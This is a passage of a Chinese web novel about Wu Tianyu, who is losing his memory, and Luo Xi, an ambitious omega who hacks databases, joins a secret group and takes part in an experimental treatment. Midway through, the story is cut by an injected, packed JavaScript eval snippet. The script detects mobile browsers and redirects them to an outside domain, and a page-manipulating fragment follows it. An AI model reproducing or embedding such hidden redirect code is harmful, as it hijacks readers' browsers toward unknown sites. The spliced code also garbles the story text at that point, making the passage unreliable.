“没关系,我可以离开他,我攒了很多钱,不知道您什么身份,但能不能麻烦您,帮帮他。”说这话时,吴天语十分平静,“我不想因为我,让他听到些不好听的话,他受到的待遇,已经够不好的了。” 想起洛熙书皮上被修复带反复粘贴的痕迹、想起洛熙袖子上被烫坏的破洞,吴天语能感受到的,只有抱歉:“他生气是应该的,本来就是我做得不对。” 一旁义愤填膺的阿瑞亚被李光再次拉住了。 “唉,他是我最喜欢的学生,”那个漂亮的alpha说道,“一直想学我的课,但我不允许。” “为什么?”吴天语不解。 “他在做一些我不赞同的事,虽然我能理解他的处境,”银色眼眸多了几分沉重,但他表情却多了些调皮,“你千万不能离开,作为和好的契机,只要你答应一直在他身边,我就同意他的上课申请。” “那个孩子啊……”说起洛熙,教授长长地叹了一口气,表情里有种“恨铁不成钢”的无奈,“他比谁都能吃苦,比谁都冷静,比谁都聪明,唯独,喜欢撒谎。” “撒谎可不是一个好习惯。”阿瑞亚接茬,李光向他投来指责的眼神。 “没错,”教授翻到并未因为阿瑞亚的插嘴而介意,说道,“谎言带来谎言,像滚雪球一样,最终压死的,不仅仅是撒谎的人,还有因为谎言而受到牵连的人。” 很奇怪,吴天语一时半会有些理解不了教授说的意思,但他听明白了洛熙上课的事。 于是吴天语点点头,他想,就算以后不能出现在洛熙眼前了,他也不会离开他。 只是他的鼻头,总是莫名萦绕着一股压抑的杏仁味。 洛熙早就知道吴天语的事,尽管吴天语一次又一次地敷衍自己。 家里偶尔有带血的衣服出现,多了两把椅子,他的穿衣风格变了、笑容多了、连话都说得多了,洛熙都知道。 吴天语自以为他瞒得不错,实际上,只是洛熙不在乎、装得看不见而已。 或者说,不完全在乎。 每学期的学费都能准时到账,省钱的同时加上天语给的零花钱,他可以买很多书。 自学了程序修改、辅修了生物专业,通过光脑,洛熙接触的东西,范围早就不限制在这所学校里。 尽管因为年幼时社会化不足,让他在大学期间吃尽苦头。 但得益于学医得天独厚的优势,他对人类生理上的了解极为透彻。 因此,研究新人类的表情与交往,也是小菜一碟。 大一时,被霸凌吃的苦,在下学期时,早就双倍奉还了回去。 甚至还交到了一些有用的朋友。 废寝忘食的学习和兼职,他早就忘了家里还有一个人存在。 偶尔想起来,却发现光脑上没有任何信息。 洛熙知道,吴天语怕打扰他。 这就是他最喜欢吴天语的一点,无论吴天语做什么,自己总是他的“选择主心。” 他已经不会对吴天语像小时候一样“撒娇”,认为两人需要苦苦地相依为命。 或者说,在有些事成功之前,他需要把吴天语放在一边,反正他根本不会跑。 所以,他一开始也没想解决两人没有共同话题的事,反而在知道他有朋友后,觉得松了口气。 毕竟能自掏腰包、到处送人果子酒的朋友会坏到哪里去? 包括今早的事也是,他没有别的想法,只是一想到吴天语肯定会因此苦恼、难过、悲伤等等,反正所有负面词汇都可以用上吧,他只是觉得麻烦。 翻翻排得满满的日程表,洛熙叹了口气,想:还是得回去开解下他。 这是,尚教授突然叫他去办公室。 察言观色、推测人心,洛熙早已驾轻就熟,可尚教授的呼叫,仍让他心有惴惴。 这个温柔的教授,有个和外表不一样的、深沉的内心。 到达办公室时,尚教授正在用笔写着什么。 他的笔迹很好看,清俊优雅,而且和教授一样,洛熙也喜欢纸质的东西。 办公桌上,尚教授总会放一个空空的相框,洛熙问过是什么,他却不说。 作为学校里最年轻的学生、最年轻的omega和最优秀成绩的保持者,大多数人对洛熙都是嫉妒或者不屑的。 而尚教授在他面试时,就为他说话,那双银色眼眸中,看自己和别的学生没什么区别。 他的课堂上,任何一种性别都能来听课,往往爆满。 他的实验室,任何一种性别都有使用权,挤不进去。 明明是最高高在上的人,却和吴天语一样纯净,他的身上,洛熙看到了年幼时那本杂志上说的“平等。” 这就是洛熙尊敬这位教授的原因。 当然,他也知道,这位教授为什么从不允许他来上课。 对于这位教授的尊敬和喜欢,虽然仍不足以摆弄天平那头的东西。 可洛熙也时常遗憾,尚教授的专业能力,是业内顶尖,虽然他没有在央星最好的学校任职。 所以,听到新消息时,早已“喜怒不形于色”的洛熙也露出了真心的笑容。 只是,因为太开心,他没在意教授允许他听课的前提。 “我知道你在做什么,洛熙,”双手合拢交叉,尚自流镜框后的眼睛透露着担忧,“替考代考、帮写论文,这些我都不计较,毕竟什么专业都能考好、什么内容的论文都能写好,这是你来之不易的能力。” “可侵入星联生物数据库、或者买卖资料证据,”食指在桌子上重重点了两下,尚自流严肃地说道,“你必须停止。” 看着洛熙闻言、那震惊忧心的样子,尚自流没有任何放松:“不要拿你应付别人那一套来应付我,我知道你的目的和伪装,但我可以明确告诉你,这件事的真相,不是现在的你能承担的。” “而且,”尚自流叹气,果然自己的这位学生,粉黄深处,藏着的全是不甘心,“困难的东西我们可以简单掌握,有些简单的东西反而越难抓住。” 好吧,16岁的omega眼里已经满是不乐意和不耐烦。 尚自流不打算继续说教,转而问道他和吴天语的关系。 “兄弟。”犹豫了好一会,洛熙才回复。 年轻的教授内心复杂,抬抬轻快的镜框,深思:年轻人的感情如此复杂且不坦诚吗?明明两人看起来,不仅仅是兄弟那样的关系。 但他不知道,年轻的学生心中认为,在退无可退的条件下,嫁人,是他跨越阶级、获取资源最好的捷径。 那个人,不能是吴天语。 而尚自流的这句话,也让洛熙打消了回家的想法。 再努力一下,他想,我得尽快行动,不能让自己落入退无可退的境地。 没办法,洛熙只能在光脑上给吴天语发了一句:“换工作。” 虽然吴天语好像很喜欢这份“工作”,或者说,吴天语喜欢“工作”,无论做什么,都能让他找到价值。 那是他对自己和母亲的证明。 因为,洛熙知道,吴天语会称呼那个肮脏的地方为“单位”,赌狗的提成叫“工资”。 又恰好,这份工作赚的钱,会让两人过得不错。 这是吴天语自认的“一举两得”。 但,确实不能让他再继续了,藏在衣服底下的伤口,明明可以换一台高级的医疗机,吴天语却全部存在账户里,等洛熙安排。 本来,洛熙曾想过自己可以抽空去问问,哪里买得到最好的家用医疗机。 只不过,一直没抽出空来。 现在,换工作了,用到的几率更是小之又小,不必再问。 自觉已经尽力,洛熙准备心安理地去学习。 好在没有回家,因为光脑上来了另一个好消息,洛熙从星网上申请到一个机会,他要去央星进修生物学。 平日可以往返两地来回听课。 只是必须要在半个小时内回复。 不屑于这些人对待omega的小把戏,洛熙得意洋洋地选择了“同意。” 毕竟,自己也有这个实力,又拜托朋友在网上造的势,逼对方必须发出邀请函,洛熙喜欢看这些人被打脸的模样。 于是,他向吴天语又发送了一条讯息,洛熙想了想,随手写道:“我在学校得到一个很重要的机会,需要去操作室和实验室实习两年,尚教授会带我,吃住都在这里,不必担心,不要唠叨,我会照顾自己,你换工作以后,也要好好照顾自己。” 他深知,吴天语绝对不会来打扰自己,更何况,他的身边还有朋友。 吴天语也不会怀疑,因为,他和他的那群朋友,压根不知道大学的真正样子。 只是,他似乎忘了告诉吴天语,他没生气。 第二天,吴天语便和阿瑞亚他们去帮派报到了,打拳的老板扣了吴天语几万星币作为“违约金”,虽然两人并未定下过什么合约。 阿瑞亚又要跑去给吴天语出头,这次,吴天语赶在李光之前拦下了他。 比起再次被人看到,吴天语更想在新工作里好好努力。 于是两人问到他换工作的原因,听到回答后,两人既震惊又担心。 可理亏的两人也不好说什么,他们向吴天语道了歉,如果不是自己多事,或许他还和洛熙会好好的。 “我们是一辈子的兄弟。”吴天语这样回复。 于是,三人的“混混小队”成立了,吴天语仍旧不太爱说话,所以一般就跟在两人后面,随便溜达。 偶尔从路过的小混混手里,磨磨唧唧地抢点钱花花。 所以说,变化是好的吗? 吴天语摇摇头,说:“不是。” 洛熙大三结束那年,吴天语已经连门长什么样子都快记不得了。 一点点看见自己变坏,吴天语不算平静地接受了。 他不舍得打坏家里的东西出气,和朋友出门时,也变得更加少言寡语。 点头、点头、点头。 是他唯一能做的事。 他害怕过,却不能去医院。 从他小小年纪离开那个地方,就没再去过医院,他痛恨医院。 可突然有一天,他想,会不会未来某天早晨醒来,连洛熙都不认得? 于是,他慌张地翻出洛熙的相片,又拿出阿瑞亚和李光的照片,放在床头。 每日醒来,心中甚至还多了一丝安慰:“太好了,这些人,我还记得。” 他不知道自己会变成什么样。 他偷摸给自己找了很多偏方,阿瑞亚还感慨他怎么比李光还好骗。 他去过洛熙的大学,门口的保安笑着说帮他联系尚教授,他却害怕地逃跑。 他不再带好友回家吃饭,好友问起,他只能沉默,两人便理所当然地觉得是难言之隐。 他将门紧紧锁起,不管是好友频繁的慰问,还是其他人的来临,都被他挡在了外面。 偶尔会有清醒的时候,他会默默整理被弄乱的东西,拿起门口李光两人放的补给,绝望于自己的无能为力。 自己该如何和自己抵抗?吴天语不明白。 然后,然后就习惯了。 习惯了而已。 当大三毕业的洛熙完成大学全部的课程,早两年从学校毕业,拿着梦寐以求的结业证明,了解到他想知道的一切时,推开家门,迎接自己的,是一片狼藉。 鞋子和蔬菜被一起放进了锅里、冰箱里的剩下的东西早已腐烂。 椅子整齐地平放在地面,还摆着一个枕头,床上却放着餐桌。 沙发上盖着窗帘,窗户大开。 原本温馨的地方,唯一正常的,是床头被相框包裹极好的三张照片。 吴天语坐在星视前,听见开门声,他转头回来。 那个永远不会跑、不会离开、不会抛下他的人一脸惊喜:“洛熙,你回来了!” 他将洛熙的名字咬得格外重。 洛熙看见,和两年前一样温和笑着的人,眼中有两行清泪滑下。 窗外,阴雨即至的狂风毫无阻拦地吹进屋内,将两人的发丝吹得全乱。 感受到前所未有的凉意,洛熙握住手把的指尖不受控制地颤抖着。 “对不起。”吴天语笑着说道。 被洛熙抱住时,肩膀上的沉重和温热,让他突然想起母亲。 于是,吴天语又说了一遍“对不起”。 我还是没有把洛熙照顾好。 终于,这一刻自然的规律完成了它的第四步运作。 两年的时间,这对师徒有了很深的默契。 尚自流桌子上那个空空的相框,也多了他和一个孩子的合影。 亚麻色的头发、琥珀色的眼睛,冰雕玉琢的一个小孩,优雅而老成地坐在桌前学习。 他的旁边,尚教授一只胳膊撑在桌面,另一只手搭在小孩的座椅后背,静静看着小子认真的表情。 和看学生不一样的是,他温柔的眼眸深处有种更复杂的东西。 “这是谁?你怎么舍得填满相框了?”修学期间,洛熙曾问。 “你的师兄,这个孩子,我对他的教导,比你们都早。”尚教授回复,看到洛熙不可置信的表情,他耸耸肩膀,“这个相框本来就是满的,只是应该进这个相框的人不同意,所以就换上了我最骄傲的学生。” “我不是吗?”洛熙没在意,随口开玩笑。 “你让我认一个即将叛变的人,做最骄傲的学生吗?”尚自流无奈地笑,“你知道的,我一直不同意你的做法。” “可你还一直教导我。”洛熙耸肩。 “因为,你总有一天,要有求于我。”那位教授扶住眼镜,叹气。 现在,他又做了同样的动作。 “你很清楚,这是什么病吧。”尚自流低头去翻找柜子。 “是,这样的人,按理,早就被统一收集,不知所踪了。”洛熙抓住吴天语的手,此刻他又犯病了,茫然无措地打量着四周,紧紧依靠在洛熙身边。 像一只寻找母鸡翅膀下的幼崽。 想起吴天语被收养的那晚,洛熙很容易就猜到他的来历。 只是没想到,自己的家乡,竟然就是“监狱”。 “你要扔下他吗?”尚自流仍旧在翻找着,好像随意地问道。 “别说胡话了,教授。”洛熙烦躁地皱眉,“我做的一切,就是想和他过不被束缚的日子。” “不是复仇吗?”尚自流往桌子底下又钻深了几分,“我还记得,你一年前从央星时崩溃的样子,怎么样,你接触的人告诉你全部了吗?” “那是我自己凭本事调查的,”想起自己在央星忙碌的日子,洛熙萌生了一种奇特的心情,他甩甩头,将这样无能的想法剔除出去,“我们相互利用而已。” “与虎谋皮。”终于,尚自流将一沓厚厚的资料从桌下端了上来,此刻他发丝微乱,脸上还有淡淡一抹灰尘,但亮晶晶的银眸有着明媚的俏丽,“在你后悔之前,我给你一年时间考虑。” “我不会有这样的情绪,”再次皱眉,想起刚才的心情,洛熙讨厌老师总是提起这个词语,“什么一年时间?” “你知道识别障碍者的宝贵,他们的偶然性,让这样的群体数量不算太多,加上央星的管制,导致样本稀少。”包裹住资料的油纸被小心打开,尚自流的眼睛也越来越亮,“这是我和团队这么多年关于他们的研究,只是后来实在找不到样本,才被迫减缓进程,但我们从未放弃。” “我们想和世界证明,他们也有生存的权利,”尚自流看向洛熙,总是温润的眼神,此刻缺像燃着熊熊烈火,“没想到天语的病症会发展得这么快,他似乎和以前的志愿者有些不一样。所以,有你和天语的加入,我想一年时间,说不定就可以做到。” “你为什么不早说,你明明知道天语的病情!”洛熙暴起,碧蓝的发丝遮挡不住粉黄眸子的愤怒,吴天语紧紧跟随着他,看到他的模样,瑟瑟发抖。 “我不确定,洛熙,我没法通过一点点特征去确定天语的病情,而且以往的志愿者,也不会在两年内,恶化到这一阶段,”尚自流并未退缩,他坐在原处,双手护着那摞资料,不介意洛熙几乎整个趴在他办公桌上的冒犯,“而且我曾经多次试图去找过天语,他却总是避而不见。” “我不止一次地暗示你,去看看身边的东西,你觉得最好把握的、简单的东西,”尚自流和洛熙对视,他明白这位年轻人的心情,但是他毫无留情地戳破最后的一层遮羞布,“就算我明说,你就会放弃央星的事情,放弃和飞燕的接触吗?” 缓缓站直身体,洛熙看着抱住自己胳膊,像孩童一般的人,明明十多年,他一直都是给自己遮风挡雨的人。 但他也清楚地知道,自己根本不会回来,或者把天语接去。 因为他会从老师这里知道,这个病,按理说,短时间内不会过于严重。 “谎言无法堆砌幸福。”尚自流这样说道。 看着仍像一柄钢枪一样挺着的学生,作为老师,他总是忍不住叹气。 “我们正在进行一项适应性替代实验,为期一年,如果你和天语愿意,可以参加,”尚自流清楚洛熙的脾气,“你不是一直信奉‘不会后悔’吗,那你就继续往前走吧,反正结果也不会比现在更差了。” 于是,吴天语趁着清醒时,和两位好友道别,尽管多次强调自己会回来,也不需要什么东西,可好友仍旧将钱不断塞进自己怀里。 “等你回来还我。”李光的眼睛终究还是没找回来,也好,现在虽然失去了虚假的书卷气,却显得更真了。 而一旁阿瑞亚的话更是直白,他指着陪同的洛熙说:“虽然我们不喜欢你,也不信任你,但你却占据了天语的全部,他只听你的话,所以你不要太坏了。” 深深吐出一口气,洛熙实在懒得跟两人计较,毕竟,自己也从未信任过,吴天语这两个来自街头的朋友。 接着,便进入了尚自流的实验室。 实验室的地方很隐秘,小巷尽头的一家服装店。 门头低调,装潢复古,但成衣前面,小小的价格牌子,后面跟的0多得离谱,还有定制业务。 “古星以前有一部电影叫‘王牌特工’,”尚自流带着两人进入试衣间,扭动挂钩,墙面缓缓打开,露出一部类似古星时代使用的老电梯,“虽然里面的好多东西,以现在的角度看,实用性不高,但无论情怀还是基调,确实浪漫又华丽。” “你们不是第一对踏进这部电梯的人,但希望你们第一对可以走出来的人。”尽管洛熙一直冷着脸,而吴天语又在重新认识自己,可尚自流仍旧自顾自地说着。 “那些人呢?”冷脸的omega问道,内心深处忍不住担心。 “别怕,没什么生离死别的事儿。只是这一对对的人中,正常的那个往往会忍不住离开。” 电梯门缓缓打开,眼前的景象让洛熙觉得震惊。 先进的仪器设备,有些,甚至洛熙在央星,也只能从书本里见到。 “不正常的那个在我们的保护下,也会寿终正寝,只是——” 几个穿着工作服的人,看见来人,纷纷投来目光。 果不其然,各种性别都有。 “他们的内心,一直会觉得孤独。” 一位alpha将洛熙的工作服递了过来,众人拍手,欢迎新成员的加入。 一位beta将蓝色检查服也递给吴天语,众人鞠躬,像他表示尊重。 “听说你不喜欢白色,我们就挑了这种天蓝色,很好看。”一位omega研究员说到,她手中光脑上,复杂的结构式在不断旋转,“谢谢你的牺牲。” 牺牲,吴天语觉得心中被狠狠撞了一下,鼻尖酸酸。 他想,他喜欢这个词。 好像说出这个词的人们,都认识到了自己。 然而现实并不像一开始的那样美好。 实验并不是一帆风顺,甚至没有好转的迹象。 主要原因,是吴天语的症状恶化速度过快,甚至一天比一天快。 他每次浑浑噩噩,再次醒来时,能记住的只有三个名字:洛熙、阿瑞亚和李光。 这也是以前的志愿者从未出现的情况。 他们往往会笼统地忘记一切,连陪自己来的那个人也不再记得。 只是最近,吴天语浑浑噩噩的时间越发长了,间隔也越来越短。 众人面色沉重,尚自流取下眼镜,揉揉多日未曾合上的双眼,安慰道:“先去休息吧,明天开始,大家都放下手头的任务,优先找到天语恶化速度过快的原因吧。” 坐在实验椅上的吴天语面色平静,此时他难得恢复了清醒,看到这一幕,他心中也不好受。 尽管他还记得他最想记得的信息,却不想给大家出这样的难题。 看向洛熙,一向意气风发的omega,此刻眼底也满是青灰。 洛熙陪他回去房间的路上,吴天语想了想,还是忍不住问道:“对不起,我要是、能记很多,你们,很开心。” “不是这样的,天语,”洛熙看着吴天语的侧脸,尽管看不到表情,他也知道此刻吴天语一定很愧疚,“你不需要愧疚,实验嘛,有困难是一定的,而且新情况的出现,意味着样本数据多样化,对研究的贡献也是很大的。” 然而这样的话似乎并未安慰到他,洛熙站定,他捧住吴天语的脸,两人四目相对:“你不需要去记住每一样东西,因为不是所有东西都值得被你记住,只要不忘记你不想忘记的东西,对我来说,就是最大的安慰。” 洛熙从未跟吴天语说过这样长的话,因为以前扮演这样“唠叨”角色的人,总是吴天语。 自从来了实验室,吴天语的话却越发说不上来,洛熙必须要多说,才能将两人的“说话总量”勉强弥补到过去的程度。 他不想,让吴天语觉得孤单。 “你,最棒。”翘起嘴角,吴天语脸色终于好转,他伸出手,弯下腿比了一个小小的高度,“从小,棒。” 两人继续向前走。 洛熙忍不住笑出声,打趣地问:“话说,你从来到家里,就没觉得,我很奇怪吗?” “明明我没出过门,也没上过学,可你带给我的书,我都能看懂。” 吴天语摇摇头,这些事在他看来不重要。 他也有自己的秘密。 “可是我想告诉你,”自从来到这里,明明两人的交流比以前少了很多,但彼此却更加了解了,“我5岁的时候,某天晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15173068|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,窗外有人说话。” “一个人说,是他吗?” “一个人说,就他吧。” “我没法判断他们的性别,但是在梦里,一团光问我,想不想了解这个世界。它给我展示了我不曾见过的画面,大海、山脉、人群、城市,这对5岁从未出过门的我来说,是做梦都不会出现的场景。” “作为交换,我长大后,要替它做些事。我答应了。” “醒来时,我自然地知道了妈妈的光脑会定时打开,光脑要怎样使用,我的脑中,多了一种名为‘拼音’的东西,还有手边放着一本厚厚的字典。” “我看完了妈妈的书柜,第二天,一只黑色的小鸟,携着刀片,划开了我的防护网,带来了不同的书册,供我翻阅和学习。” “我不知道母亲是否发现了这件事,毕竟那个时候,她竟然一下子就能找到那个洞口,将我扔给你。” “后来你来了,奇怪的是,小鸟却不来了,光脑也坏了。我至今不知道怎么回事,辅修生物,我却找不到关于那只小鸟的信息,或许这个世界,真的有‘神’存在吗?虽然它只短暂地陪了我一会,直到你替代了他们。” “可如果真的有神,不都说神爱世人,那它为什么却不肯救救我们?” 说完,洛熙回头去看吴天语。 不料他早就进入了浑浑噩噩的状态,虽然跟在他身后,却四处张望、一脸惊恐,像被关进罐子里的小鸟。 什么也没听到。 忍不住上前抱住吴天语,洛熙忍了又忍,终于还是带着哭腔:“对不起,天语。我为了给母亲复仇,做了各种乱七八糟的事,却忽略了你,竟然在央星时,也从不联系你。” 想起自己调查的真相,洛熙心痛极了,他被迫失去了一个亲人,马上或许还要再失去一个。 一股梦幻的味道飘来,带着温柔的安抚,洛熙的背上被人轻轻拍了拍,耳边传来熟悉的声音:“不、哭。” “杏仁,苦。” “我一定会治好你。”洛熙坚定地说道,就像吴天语曾经将他背出了废墟,他也可以将他从泥沼拖出。 有时候,机缘就是来得这般巧妙。 灵光一闪,洛熙提出了再次查看吴天语信息素的建议。 可先前他们已经研究过很多遍。 “天语的信息素很奇怪,它不是一种现在发现的生物应该有的味道,类似花香、却更迷蒙一些。”洛熙绞尽脑汁去形容。 而同事们却觉得不可思议,因为在他们看来,吴天语的信息素就是普通的香气。 “啊,我明白了,”尚自流拍拍手,看起来十分高兴,“你们能相互感知到彼此的信息素吧?” 众人投来“哇塞”、“恭喜”的目光,洛熙不禁脸红,却又不知道要反驳什么。 但幸运的是,他们发现了恶化速度过快的原因。 不幸的是,他们发现吴天语的腺体被一种极为隐秘的手段改造过。 没有留下任何痕迹,但确确实实发生变化了。 但这一切都可以等以后再说,因为眼前最重要的,替代实验终于迈上了正轨。 一年后,适应性替代理论终于成熟,尚自流以个人名义,发表了这一研究,但也仅仅是在一个小圈子里。 不是他不想公布,而是他摸不准外界的反应,毕竟这件事牵扯到王室,如果不顺利,其他人或许还能有条生路。 而吴天语已经几乎不再说话,却仍旧温柔乐观,虽然一切,他都得从0开始学起。 他可以记住许多的东西,洛熙用两人存的钱,淘了很多书籍,从幼儿诗歌到拼音注解,陪他一步步用标记去学习每一个拼音和词汇。 甚至书籍数量太多,只能又在以前的房子里添置了书架,两人共同走出了那部电梯,将实验室的书籍全部运回了家里。 “这个红色的波浪线代表什么,还记得吗?” “我爱你。” 阔别一年的四人再次重聚,看着久别好友脸上、一如既往的笑意,变成油头的阿瑞亚嚎啕大哭,好像没变过的李光也泪光闪闪。 这一年,是洛熙最快乐的一年。 同事们友好平等的相处,期间他还知道他从小就喜欢的杂志,主编竟然就是自己的老师。 这让他一度以为这个世界就是这样的。 某天,那个一开始递给洛溪工作服的alpha,一脸着急,满身是血地把装有实验室资料的光脑给洛熙送来,和外表不同,他言语间一片松快:“洛熙,我要为真理牺牲了。” “你和天语不要出头,找个没人的地方,好好生活下去。” “老师说,真理不会被埋没,真相也是,他让你无论遇到什么事,都好好考虑,不要走错路。” “不要去报仇,不要再让自己后悔,老师说,一切都是他的错。” “飞燕不该是你的归宿。” 所以,世界还是那个样子,一点没变。 “没有永恒的敌人,只有永恒的利益。”那个人端起咖啡杯,看向洛熙的眼神,似乎想学习尚自流那样的平和,却透着让人恶心的虚伪,“一年前我就说过,你,一定会是我们的。” “你母亲的事也好,你男友的事也好,都说明这个世界的公平,只能掌握在自己手里。”像恶魔的低语,却有着天使的嗓音,“洛熙,我们永远不会因为利益出卖你,因为——” 那人双臂张开,似乎在拥抱这个世界:“我们,都是不属于这个世界的人。” 那天晚上,洛熙酩酊大醉,在不算狭窄的客厅,在住了好几年的客厅里,他像一只蝴蝶,跌跌撞撞,磕磕碰碰,摇摇晃晃,零零落落。 “年轻时,我一直想寻找一个答案。我用尽手段寻找相关的资料、得到去央星的机会,然而在那里,所有我学到的东西、我用过的手段,都是徒劳无功,遍寻不到答案。” 酒水洒在了吴天语脸上,他第一次接触这种饮料,却一口就断定他不喜欢,因为是苦的。 “直到飞燕找到我,那些无论如何都打不开、看不见的资料,就这样呈现在眼前。原本被军部看管的怪兽,却被王室放走,死去的人,其中就有我们的母亲,又再次成了双方博弈的起点。” 蝴蝶想要飞到沙发上,却被吴天语一把抱了下来,沙发太软,容易受伤。 “还记得我们逃难时,看到的那个少爷吗?那个看起来和你年纪差不多的少年,实际上只比老师小三岁,他和他的朋友,以王室的名义前来赈灾。难道他们不清楚吗?所有的高贵和优雅,都是用像我们这样的人的血骨铸成的。” 任由自己跌进那个熟悉的怀里,洛熙将手抚上了喜欢的脸庞,那双漂亮的眼眸一如既往温和地笑着,这么多年,这里装尽了各种各样的自己。 “所有的真相,只是掌权者的主观意念。我不甘心,凭什么我没有自由生活的权利,凭什么我们不能被看见,明明整个星联,数量最多的还是我们这样的人。” 手指摸到温暖的唇瓣,它的主人,以前总是会用它说各种各样温暖的话,洛熙只能记起他说话的样子,却记不得他说的是什么。 “老师啊老师,你说我是背叛者,可实际上呢,是星联背叛了我,也背叛了你。” 双臂勾住脖颈,洛熙不想让脆弱被任何人看见,哪怕这个人是吴天语,背上传来轻轻的拍打,代替语言,轻微的重量也是温暖。 就这样,该发生的、或者说是不该发生的,发生了。 就这样,洛熙加入了飞燕。 比邻星上,洛熙变成了养家糊口的人。 利益、名气、公平、真相,洛熙一切都要。 他需要钱,去做自己的计划; 需要名气,让世界正视他; 需要公平,替人讨回公道; 需要真相,让坏人受到惩罚。 飞燕说,它可以提供一切。 而吴天语,依旧和以前一样,做着那份“混混”的工作,给老大打打群架,给商贩送送东西。 他给吴天语和自己弄了新的身份,当然,不是光明正大的渠道。 但洛熙却对此驾轻就熟。 甚至,洛熙还给两人建立了虚拟账户,用来存放飞燕给的金钱。 这个账户,抗住了星行的一切审计。 早出晚归,洛熙脸上的笑容越来越少,眼中的负担也越来越多。 吴天语口不能言,在某天,他抓住又要出门的洛熙的衣角。 用符号写道:“你的工作,不让你开心。” “你知道我的工作?”此时的洛熙,对吴天语,有着极大的耐心。 “科研院,”吴天语继续写,“尚教授呢?” 是的,洛熙没有告诉吴天语关于母亲和尚教授的事情。 “他,有别的事情,可能不会再见面了,现在的同事,也可以说,是好人”洛熙看着吴天语,忍不住摸摸他的头发,“我现在工作的地方叫‘飞燕’,听起来是一种动物,但标志是一束漂亮的紫色花草。” “你喜欢花吗?”吴天语写。 “喜欢,如果要养花,养紫色鸢尾吧,”想起鸢尾的模样,洛熙终于笑得幸福了些,“跟你很像。” 就像洛熙说的,只要他说,吴天语就会信。 尤其是识别障碍的爆发,让吴天语更难以像以前一样能轻易辨别洛熙话中的真假。 但是,杏仁味,确实好像轻松了一些。 吴天语不知道这是倾诉的力量,或许是因为,他能倾诉的时候,能承受的人没空听他说话。 他不能说话的时候,听他说话就变成了奢侈。 如果洛熙知道,今天的这番话会给未来带来巨大的改变,他会不会后悔呢? 飞燕要他研究一种花朵,可以用来下毒暗杀。 只杀贵族,所以洛熙同意了,却暗暗留了解决方案,以备不时之需。 却没想到,那个人在花店“偶遇”了吴天语。 “我一直知道他有金屋藏娇的人,”那个人挑了一只最漂亮的鸢尾,放进吴天语手中,“但我却不知道你这么特别。” 他看向吴天语眼眸深处,那里有一个极少数人才知道的印记。 “我是洛熙的同事,他有跟你提过吗?”印记仍旧在那里,可眼前的人却活得好好的。 真有意思,那人的眼中划过一丝兴味,想起央星发生的事,又感觉了然。 无所谓,这样的事在吴天语面前,都显得无所谓。 “好、人。”吴天语点点头,望着指尖上的符号,下了定义。 “没错,如果遇到什么问题,记得联系我。”那人留下了光脑号,“无论是钱财,还是出路,我们可以做一些公平的交换。” “你很漂亮,很符合我们的审美。” 点点头,吴天语在号码后面,备注了好人的符号。 因为尚教授的事,这些年来,央星一直在加强对于识别障碍者的审查。 当洛熙准备再次造假,瞒着所有人,偷偷拿到审查通过书时,飞燕却直接给了他一张永久的。 洛熙的眼眸深沉了下去。 那个人没有掩盖自己的行为,光明正大地说着他和吴天语的相遇。 “这是我的诚意,洛教授,”光脑里,那个人显得很真诚,“我有一个提议,让天语提供一下信息素,有偿的,用于改进花朵。” 想也没想,洛熙就拒绝了。他没有想到这个人这么快掌握了天语信息素的特殊性。 还能信誓旦旦地点明用途。 除了老师团队的人,洛熙从没跟任何人提起过。 “那太可惜了,”虽然这么说,那人的脸上却是满满的胸有成竹,“你可以再考虑考虑。” 然而洛熙还是拒绝了。 从此,他在飞燕的待遇也大不如前,尽管所有人仍旧对他毕恭毕敬,可愈发减少的科研经费,说明了高层的不满。 无所谓,洛熙想,这些事,在吴天语面前,都无所谓。 老师早就警告过他,因此洛熙在加入飞燕时,并开始在为两人铺垫后路,摆脱飞燕的监控。 他叮嘱吴天语不要轻易让人动他的信息素和腺体,尤其是飞燕的人。 “可你说他们都是好人。”吴天语画了符号,“这不是好事吗?” “……”洛熙没办法告诉吴天语,自己的所作所为,自己认为的“好事”,在他这样的人面前,却总觉得站不住脚,“是,但是,我不允许。” 黑暗不能污染纯净的眸子,洛熙想自己做这个坏人。 然而,他忘了,有时,家人之间的“为你好”,并不会让所有人都好。 日子捉襟见肘了起来,阿瑞亚和李光都看了出来,知道吴天语生过病,每次上门时,总会提着更多的东西。 “日子怎么好了起来?”洛熙看见这些东西,怀疑地问道。 “你不要看不起人好吧。”阿瑞亚一脸无语,看了眼旁边的吴天语,不忍心当着好友的面吵架。 “我们认识了一个大哥,姓朴,算是道上混的,”李光帮忙把带来的东西归拢齐整,但洛熙表示不用,很多家具都有天语的标记,他怕李光碰坏或者看到。 悻悻收回手,李光只好摸摸自己的粉色锅盖头,继续说:“天语没在的一年里,他帮了我们很多,他甚至要出钱给老瑞建个酒馆。” “这是好事,你们不是很会酿酒吗,”洛熙随口应付,“而且也比你们三个现在干的事强。” “对,所以我们也想来问问,天语要不要出资,”阿瑞亚鼓鼓腮帮子说,“但是没关系,我俩可以先干,就当天语出资了。” 果然,洛熙看见吴天语的眼神变得犹豫,他不敢看自己,目光躲闪。 “不必,虽然现在收入少了,但是存款还是有的。”洛熙翻了个白眼,将5万星币打到了阿瑞亚账户,“让天语干……干仓管吧,事儿少,接触的人也少。” 尽管这话怎么听怎么不对,但两人看到吴天语脸上熟悉的赞同表情,倒也没表达什么异议。 “你们现在的事儿怎么办?”洛熙摸摸下巴,问道,“你们老大肯放你们三个走?” “慢慢来嘛,”阿瑞亚奸笑,“如果能干好酒馆,再离开也不晚啊。” 对此,洛熙不做任何表示,他对做生意不感兴趣。 拿人手短,两人最后千恩万谢地走了。 “这么开心?”吴天语的眼睛亮晶晶的,洛熙见此,忍不住笑着问道。 “嗯,朋友,变好。”吴天语点点头,没在意洛熙的调侃。 “你也在变好,”洛熙将东西收拾起来,随口问道,“但你一直没变的,是你总在我身边,为什么啊天语,我对你并不好,你的朋友都知道。” 长久没听见吴天语的回复,洛熙转过头。 却发现他在着急地画着什么,洛熙走过去一看,一张白纸上,用不同的符号拼凑起一段话: 